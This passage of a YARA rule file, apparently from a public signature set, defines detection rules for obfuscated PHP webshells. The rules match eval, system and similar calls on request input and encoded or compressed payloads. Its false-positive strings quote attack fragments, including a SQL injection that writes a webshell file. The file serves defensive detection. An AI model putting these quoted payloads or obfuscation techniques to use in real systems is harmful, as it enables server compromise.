		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 300KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and not any of ( $fp* ) and any of ( $decode* ) and ( ( any of ( $one* ) and not any of ( $execu* ) ) or any of ( $two* ) or any of ( $three* ) or ( any of ( $four* ) and not any of ( $esystem* ) ) or ( any of ( $five* ) and not any of ( $opening* ) ) or any of ( $six* ) or any of ( $seven* ) or any of ( $eight* ) or any of ( $nine* ) )
}

rule WEBSHELL_PHP_Unknown_1
{
	meta:
		description = "obfuscated php webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		hash = "12ce6c7167b33cc4e8bdec29fb1cfc44ac9487d1"
		hash = "cf4abbd568ce0c0dfce1f2e4af669ad2"
		date = "2021/01/07"
		modified = "2023-04-05"
		id = "93d01a4c-4c18-55d2-b682-68a1f6460889"

	strings:
		$sp0 = /^<\?php \$[a-z]{3,30} = '/ wide ascii
		$sp1 = "=explode(chr(" wide ascii
		$sp2 = "; if (!function_exists('" wide ascii
		$sp3 = " = NULL; for(" wide ascii

	condition:
		filesize < 300KB and all of ( $sp* )
}

rule WEBSHELL_PHP_Generic_Eval
{
	meta:
		description = "Generic PHP webshell which uses any eval/exec function in the same line with user input"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "a61437a427062756e2221bfb6d58cd62439d09d9"
		hash = "90c5cc724ec9cf838e4229e5e08955eec4d7bf95"
		hash = "2b41abc43c5b6c791d4031005bf7c5104a98e98a00ee24620ce3e8e09a78e78f"
		hash = "5c68a0fa132216213b66a114375b07b08dc0cb729ddcf0a29bff9ca7a22eaaf4"
		hash = "de3c01f55d5346577922bbf449faaaaa1c8d1aaa64c01e8a1ee8c9d99a41a1be"
		hash = "124065176d262bde397b1911648cea16a8ff6a4c8ab072168d12bf0662590543"
		hash = "cd7450f3e5103e68741fd086df221982454fbcb067e93b9cbd8572aead8f319b"
		hash = "ab835ce740890473adf5cc804055973b926633e39c59c2bd98da526b63e9c521"
		hash = "31ff9920d401d4fbd5656a4f06c52f1f54258bc42332fc9456265dca7bb4c1ea"
		hash = "64e6c08aa0b542481b86a91cdf1f50c9e88104a8a4572a8c6bd312a9daeba60e"
		hash = "80e98e8a3461d7ba15d869b0641cdd21dd5b957a2006c3caeaf6f70a749ca4bb"
		hash = "93982b8df76080e7ba4520ae4b4db7f3c867f005b3c2f84cb9dff0386e361c35"
		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
		hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
		hash = "fd5f0f81204ca6ca6e93343500400d5853012e88254874fc9f62efe0fde7ab3c"
		hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
		hash = "6d042b6393669bb4d98213091cabe554ab192a6c916e86c04d06cc2a4ca92c00"
		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
		id = "79cfbd88-f6f7-5cba-a325-0a99962139ca"

	strings:
		$geval = /\b(exec|shell_exec|passthru|system|popen|proc_open|pcntl_exec|eval|assert)[\t ]{0,500}(\(base64_decode)?(\(stripslashes)?[\t ]{0,500}(\(trim)?[\t ]{0,500}\(\$(_POST|_GET|_REQUEST|_SERVER\s?\[['"]HTTP_|GLOBALS\[['"]_(POST|GET|REQUEST))/ wide ascii
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
		$gfp_3 = " GET /"
		$gfp_4 = " POST /"

	condition:
		filesize < 300KB and not ( any of ( $gfp* ) ) and $geval
}

rule WEBSHELL_PHP_Double_Eval_Tiny
{
	meta:
		description = "PHP webshell which probably hides the input inside an eval()ed obfuscated string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021-01-11"
		modified = "2023-07-05"
		hash = "f66fb918751acc7b88a17272a044b5242797976c73a6e54ac6b04b02f61e9761"
		hash = "6b2f0a3bd80019dea536ddbf92df36ab897dd295840cb15bb7b159d0ee2106ff"
		hash = "aabfd179aaf716929c8b820eefa3c1f613f8dcac"
		hash = "9780c70bd1c76425d4313ca7a9b89dda77d2c664"
		hash = "006620d2a701de73d995fc950691665c0692af11"
		id = "868db363-83d3-57e2-ac8d-c6125e9bdd64"

	strings:
		$payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
		$fp1 = "clone" fullword wide ascii
		$fp2 = "* @assert" ascii
		$fp3 = "*@assert" ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize > 70 and filesize < 300 and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and #payload >= 2 and not any of ( $fp* )
}

rule WEBSHELL_PHP_OBFUSC
{
	meta:
		description = "PHP webshell obfuscated"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/12"
		modified = "2023-04-05"
		hash = "eec9ac58a1e763f5ea0f7fa249f1fe752047fa60"
		hash = "181a71c99a4ae13ebd5c94bfc41f9ec534acf61cd33ef5bce5fb2a6f48b65bf4"
		hash = "76d4e67e13c21662c4b30aab701ce9cdecc8698696979e504c288f20de92aee7"
		hash = "1d0643927f04cb1133f00aa6c5fa84aaf88e5cf14d7df8291615b402e8ab6dc2"
		id = "f66e337b-8478-5cd3-b01a-81133edaa8e5"

	strings:
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$o1 = "chr(" nocase wide ascii
		$o2 = "chr (" nocase wide ascii
		$o3 = "goto" fullword nocase wide ascii
		$o4 = "\\x9" wide ascii
		$o5 = "\\x3" wide ascii
		$o6 = "\\61" wide ascii
		$o7 = "\\44" wide ascii
		$o8 = "\\112" wide ascii
		$o9 = "\\120" wide ascii
		$fp1 = "$goto" wide ascii
		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
		// $cpayload10 = /\bpreg_replace[\n\t ]{0,500}(\(.{1,|\/\*)100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii

	condition:
		not ( any of ( $gfp* ) ) and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( not $fp1 and ( ( filesize < 20KB and ( ( #o1 + #o2 ) > 50 or #o3 > 10 or ( #o4 + #o5 + #o6 + #o7 + #o8 + #o9 ) > 20 ) ) or ( filesize < 200KB and ( ( #o1 + #o2 ) > 200 or #o3 > 30 or ( #o4 + #o5 + #o6 + #o7 + #o8 + #o9 ) > 30 ) ) ) ) and ( any of ( $cpayload* ) or all of ( $m_cpayload_preg_filter* ) )
}

rule WEBSHELL_PHP_OBFUSC_Encoded
{
	meta:
		description = "PHP webshell obfuscated by encoding"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/04/18"
		modified = "2023-04-05"
		score = 70
		hash = "119fc058c9c5285498a47aa271ac9a27f6ada1bf4d854ccd4b01db993d61fc52"
		hash = "d5ca3e4505ea122019ea263d6433221030b3f64460d3ce2c7d0d63ed91162175"
		hash = "8a1e2d72c82f6a846ec066d249bfa0aaf392c65149d39b7b15ba19f9adc3b339"
		id = "134c1189-1b41-58d5-af66-beaa4795a704"

	strings:
		$enc_eval1 = /(e|\\x65|\\101)(\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
		$enc_eval2 = /(\\x65|\\101)(v|\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
		$enc_assert1 = /(a|\\97|\\x61)(\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
		$enc_assert2 = /(\\97|\\x61)(s|\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 700KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and any of ( $enc* )
}

rule WEBSHELL_PHP_OBFUSC_Encoded_Mixed_Dec_And_Hex
{
	meta:
		description = "PHP webshell obfuscated by encoding of mixed hex and dec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/04/18"
		modified = "2023-04-05"
		hash = "0e21931b16f30b1db90a27eafabccc91abd757fa63594ba8a6ad3f477de1ab1c"
		hash = "929975272f0f42bf76469ed89ebf37efcbd91c6f8dac1129c7ab061e2564dd06"
		hash = "88fce6c1b589d600b4295528d3fcac161b581f739095b99cd6c768b7e16e89ff"
		hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
		hash = "50389c3b95a9de00220fc554258fda1fef01c62dad849e66c8a92fc749523457"
		hash = "c4ab4319a77b751a45391aa01cde2d765b095b0e3f6a92b0b8626d5c7e3ad603"
		hash = "df381f04fca2522e2ecba0f5de3f73a655d1540e1cf865970f5fa3bf52d2b297"
		hash = "401388d8b97649672d101bf55694dd175375214386253d0b4b8d8d801a89549c"
		hash = "99fc39a12856cc1a42bb7f90ffc9fe0a5339838b54a63e8f00aa98961c900618"
		hash = "fb031af7aa459ee88a9ca44013a76f6278ad5846aa20e5add4aeb5fab058d0ee"
		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
		hash = "0ff05e6695074f98b0dee6200697a997c509a652f746d2c1c92c0b0a0552ca47"
		id = "9ae920e2-17c8-58fd-8566-90d461a54943"

	strings:
		$mix = /['"](\w|\\x?[0-9a-f]{2,3})[\\x0-9a-f]{2,20}\\\d{1,3}[\\x0-9a-f]{2,20}\\x[0-9a-f]{2}\\/ wide ascii nocase
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 700KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and any of ( $mix* )
}

rule WEBSHELL_PHP_OBFUSC_Tiny
{
	meta:
		description = "PHP webshell obfuscated"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/12"
		modified = "2023-07-05"
		hash = "b7b7aabd518a2f8578d4b1bc9a3af60d155972f1"
		hash = "694ec6e1c4f34632a9bd7065f73be473"
		hash = "5c871183444dbb5c8766df6b126bd80c624a63a16cc39e20a0f7b002216b2ba5"
		id = "d78e495f-54d2-5f5f-920f-fb6612afbca3"

	strings:
		$obf1 = /\w'\.'\w/ wide ascii
		$obf2 = /\w\"\.\"\w/ wide ascii
		$obf3 = "].$" wide ascii
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
		// $cpayload10 = /\bpreg_replace[\n\t ]{0,500}(\(.{1,|\/\*)100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii

	condition:
		filesize < 500 and not ( any of ( $gfp* ) ) and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( any of ( $cpayload* ) or all of ( $m_cpayload_preg_filter* ) ) and ( ( #obf1 + #obf2 ) > 2 or #obf3 > 10 )
}

rule WEBSHELL_PHP_OBFUSC_Str_Replace
{
	meta:
		description = "PHP webshell which eval()s obfuscated string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/12"
		modified = "2023-04-05"
		hash = "691305753e26884d0f930cda0fe5231c6437de94"
		hash = "7efd463aeb5bf0120dc5f963b62463211bd9e678"
		hash = "fb655ddb90892e522ae1aaaf6cd8bde27a7f49ef"
		hash = "d1863aeca1a479462648d975773f795bb33a7af2"
		hash = "4d31d94b88e2bbd255cf501e178944425d40ee97"
		hash = "e1a2af3477d62a58f9e6431f5a4a123fb897ea80"
		id = "1f5b93c9-bdeb-52c7-a99a-69869634a574"

	strings:
		$payload1 = "str_replace" fullword wide ascii
		$payload2 = "function" fullword wide ascii
		$goto = "goto" fullword wide ascii
		$chr1 = "\\61" wide ascii
		$chr2 = "\\112" wide ascii
		$chr3 = "\\120" wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 300KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and any of ( $payload* ) and #goto > 1 and ( #chr1 > 10 or #chr2 > 10 or #chr3 > 10 )
}

rule WEBSHELL_PHP_OBFUSC_Fopo
{
	meta:
		description = "PHP webshell which eval()s obfuscated string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		hash = "fbcff8ea5ce04fc91c05384e847f2c316e013207"
		hash = "6da57ad8be1c587bb5cc8a1413f07d10fb314b72"
		hash = "a698441f817a9a72908a0d93a34133469f33a7b34972af3e351bdccae0737d99"
		date = "2021/01/12"
		modified = "2023-04-05"
		id = "a298e99d-1ba8-58c8-afb9-fc988ea91e9a"

	strings:
		$payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
		$one1 = "7QGV2YWwo" wide ascii
		$one2 = "tAZXZhbC" wide ascii
		$one3 = "O0BldmFsK" wide ascii
		$one4 = "sAQABlAHYAYQBsACgA" wide ascii
		$one5 = "7AEAAZQB2AGEAbAAoA" wide ascii
		$one6 = "OwBAAGUAdgBhAGwAKA" wide ascii
		$two1 = "7QGFzc2VydC" wide ascii
		$two2 = "tAYXNzZXJ0K" wide ascii
		$two3 = "O0Bhc3NlcnQo" wide ascii
		$two4 = "sAQABhAHMAcwBlAHIAdAAoA" wide ascii
		$two5 = "7AEAAYQBzAHMAZQByAHQAKA" wide ascii
		$two6 = "OwBAAGEAcwBzAGUAcgB0ACgA" wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 3000KB and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and $payload and ( any of ( $one* ) or any of ( $two* ) )
}

rule WEBSHELL_PHP_Gzinflated
{
	meta:
		description = "PHP webshell which directly eval()s obfuscated string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/12"
		modified = "2023-07-05"
		hash = "49e5bc75a1ec36beeff4fbaeb16b322b08cf192d"
		hash = "6f36d201cd32296bad9d5864c7357e8634f365cc"
		hash = "ab10a1e69f3dfe7c2ad12b2e6c0e66db819c2301"
		hash = "a6cf337fe11fe646d7eee3d3f09c7cb9643d921d"
		hash = "07eb6634f28549ebf26583e8b154c6a579b8a733"
		id = "9cf99ae4-9f7c-502f-9294-b531002953d6"

	strings:
		$payload2 = /eval\s?\(\s?("\?>".)?gzinflate\s?\(\s?base64_decode\s?\(/ wide ascii nocase
		$payload4 = /eval\s?\(\s?("\?>".)?gzuncompress\s?\(\s?(base64_decode|gzuncompress)/ wide ascii nocase
		$payload6 = /eval\s?\(\s?("\?>".)?gzdecode\s?\(\s?base64_decode\s?\(/ wide ascii nocase
		$payload7 = /eval\s?\(\s?base64_decode\s?\(/ wide ascii nocase
		$payload8 = /eval\s?\(\s?pack\s?\(/ wide ascii nocase
		$fp1 = "YXBpLnRlbGVncmFtLm9"
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 700KB and not ( any of ( $gfp* ) ) and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and 1 of ( $payload* ) and not any of ( $fp* )
}

rule WEBSHELL_PHP_OBFUSC_3
{
	meta:
		description = "PHP webshell which eval()s obfuscated string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/04/17"
		modified = "2023-07-05"
		hash = "11bb1fa3478ec16c00da2a1531906c05e9c982ea"
		hash = "d6b851cae249ea6744078393f622ace15f9880bc"
		hash = "14e02b61905cf373ba9234a13958310652a91ece"
		hash = "6f97f607a3db798128288e32de851c6f56e91c1d"
		id = "f2017e6f-0623-53ff-aa26-a479f3a02024"

	strings:
		$obf1 = "chr(" wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
